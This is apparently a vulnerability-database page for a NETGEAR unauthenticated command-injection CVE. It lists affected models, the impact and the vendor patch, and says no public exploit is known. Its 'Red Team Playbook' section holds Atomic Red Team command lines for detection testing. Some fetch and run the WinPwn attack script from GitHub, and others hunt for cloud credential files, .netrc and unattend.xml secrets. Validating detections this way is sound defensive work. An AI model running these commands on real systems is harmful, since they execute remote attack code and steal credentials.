CVE-2021-38527
Overview
This vulnerability is a command injection flaw arising from improper input validation in the firmware of multiple NETGEAR devices. The root cause is the failure to sanitize user-supplied input before passing it to system-level command execution functions. The affected components are the device firmware modules handling certain network management or extender functionalities across various NETGEAR router and WiFi system models.
Vulnerability Description
Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects CBR40 before 2.5.0.14, EX6100v2 before 1.0.1.98, EX6150v2 before 1.0.1.98, EX6250 before 1.0.0.132, EX6400 before 1.0.2.158, EX6400v2 before 1.0.0.132, EX6410 before 1.0.0.132, EX6420 before 1.0.0.132, EX7300 before 1.0.2.158, EX7300v2 before 1.0.0.132, EX7320 before 1.0.0.132, EX7700 before 1.0.0.216, EX8000 before 1.0.1.232, R7800 before 1.0.2.78, RBK12 before 2.6.1.44, RBR10 before 2.6.1.44, RBS10 before 2.6.1.44, RBK20 before 2.6.1.38, RBR20 before 2.6.1.36, RBS20 before 2.6.1.38, RBK40 before 2.6.1.38, RBR40 before 2.6.1.36, RBS40 before 2.6.1.38, RBK50 before 2.6.1.40, RBR50 before 2.6.1.40, RBS50 before 2.6.1.40, RBK752 before 3.2.16.6, RBR750 before 3.2.16.6, RBS750 before 3.2.16.6, RBK852 before 3.2.16.6, RBR850 before 3.2.16.6, RBS850 before 3.2.16.6, RBS40V before 2.6.2.4, RBS50Y before 2.6.1.40, RBW30 before 2.6.2.2, and XR500 before 2.3.2.114.
Impact
An unauthenticated attacker with network access to the affected devices can execute arbitrary system commands remotely, potentially leading to full control over the device. This enables unauthorized configuration changes, data exposure, or lateral movement within the network. The vulnerability requires no authentication (PR:N) and no user interaction (UI:N), with low attack complexity (AC:L), increasing the likelihood of exploitation. The attacker can leverage this to disrupt network operations or compromise sensitive data handled by the device.
Solution
NETGEAR has released firmware updates addressing this vulnerability in specific versions for each affected model, as detailed in their security advisory PSV-2020-0025 available at https://kb.netgear.com/000063778. Users should upgrade to firmware versions at or above those listed in the advisory, such as CBR40 firmware 2.5.0.14 or later, EX6100v2 firmware 1.0.1.98 or later, and corresponding versions for other models. No alternative workarounds are specified; applying the vendor-provided patches is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability affecting a range of NETGEAR devices represents a significant security concern, primarily due to its high severity rating. This flaw allows unauthenticated attackers to execute arbitrary commands on the affected devices by sending specially crafted requests. The vulnerability arises from inadequate input validation mechanisms within the firmware of various models, including routers and extenders. Attackers can exploit this weakness to manipulate the device's operating system, potentially leading to unauthorized access, data breaches, or even the complete takeover of the device.
Exploitation of this vulnerability can occur through multiple attack vectors. An attacker could initiate a command injection attack by sending malicious HTTP requests to the device's web interface, which is often accessible over the internet. Given that many NETGEAR devices are deployed in home and small business environments, the likelihood of exposure is significant. Once the attacker successfully injects commands, they could execute a range of harmful actions, such as altering device configurations, intercepting network traffic, or installing malicious software. The simplicity of the attack, combined with the lack of authentication requirements, makes it particularly dangerous, as it lowers the barrier to entry for potential attackers.
The real-world impact of this vulnerability can be profound, especially for businesses relying on NETGEAR devices for their network infrastructure. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. For organizations, the implications extend beyond immediate financial damage; they may also face reputational harm, regulatory penalties, and loss of customer trust. The interconnected nature of modern networks means that a compromised device can serve as a foothold for further attacks, potentially impacting other systems and data within the organization.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating device firmware is crucial, as manufacturers often release patches to address known vulnerabilities. Network monitoring tools can also help identify unusual traffic patterns that may indicate an attempted exploitation. Additionally, employing firewalls and intrusion detection systems can provide an additional layer of defense by blocking unauthorized access attempts. Organizations should also consider segmenting their networks to limit the potential impact of a compromised device, ensuring that critical systems are isolated from less secure devices.
In conclusion, the command injection vulnerability in NETGEAR devices poses a serious threat to both individual users and organizations. The ease of exploitation and the potential for severe consequences necessitate immediate attention and action. By adopting proactive security measures, including firmware updates, network monitoring, and segmentation, organizations can significantly reduce their risk exposure and protect their assets from malicious actors. As the cybersecurity landscape continues to evolve, staying informed about vulnerabilities and implementing robust security practices will be essential for safeguarding sensitive information and maintaining operational integrity.
Affected Products (36)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Netgear | Cbr40 Firmware | All |
cpe:2.3:o:netgear:cbr40_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex6100 Firmware | All |
cpe:2.3:o:netgear:ex6100_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex6150 Firmware | All |
cpe:2.3:o:netgear:ex6150_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex6250 Firmware | All |
cpe:2.3:o:netgear:ex6250_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex6400 Firmware | All |
cpe:2.3:o:netgear:ex6400_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex6400 Firmware | All |
cpe:2.3:o:netgear:ex6400_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex6410 Firmware | All |
cpe:2.3:o:netgear:ex6410_firmware:*:*:*:*:*:*:*:*
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Netgear | Ex6420 Firmware | All |
cpe:2.3:o:netgear:ex6420_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex7300 Firmware | All |
cpe:2.3:o:netgear:ex7300_firmware:*:*:*:*:*:*:*:*
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Netgear | Ex7300 Firmware | All |
cpe:2.3:o:netgear:ex7300_firmware:*:*:*:*:*:*:*:*
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Netgear | Ex7320 Firmware | All |
cpe:2.3:o:netgear:ex7320_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex7700 Firmware | All |
cpe:2.3:o:netgear:ex7700_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Ex8000 Firmware | All |
cpe:2.3:o:netgear:ex8000_firmware:*:*:*:*:*:*:*:*
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Netgear | R7800 Firmware | All |
cpe:2.3:o:netgear:r7800_firmware:*:*:*:*:*:*:*:*
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Netgear | Rbk12 Firmware | All |
cpe:2.3:o:netgear:rbk12_firmware:*:*:*:*:*:*:*:*
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Netgear | Rbr10 Firmware | All |
cpe:2.3:o:netgear:rbr10_firmware:*:*:*:*:*:*:*:*
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Netgear | Rbs10 Firmware | All |
cpe:2.3:o:netgear:rbs10_firmware:*:*:*:*:*:*:*:*
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Netgear | Rbk20 Firmware | All |
cpe:2.3:o:netgear:rbk20_firmware:*:*:*:*:*:*:*:*
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Netgear | Rbr20 Firmware | All |
cpe:2.3:o:netgear:rbr20_firmware:*:*:*:*:*:*:*:*
|
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Netgear | Rbs20 Firmware | All |
cpe:2.3:o:netgear:rbs20_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-38527 |
| kb.netgear.com |
GitHub CVE
x_refsource_MISC
|
https://kb.netgear.com/000063778/Security-Advisory-for-Pre-Authentication-Command-Injection-on-Some-Extenders-Routers-and-WiFi-Systems-PSV-2020-0025 |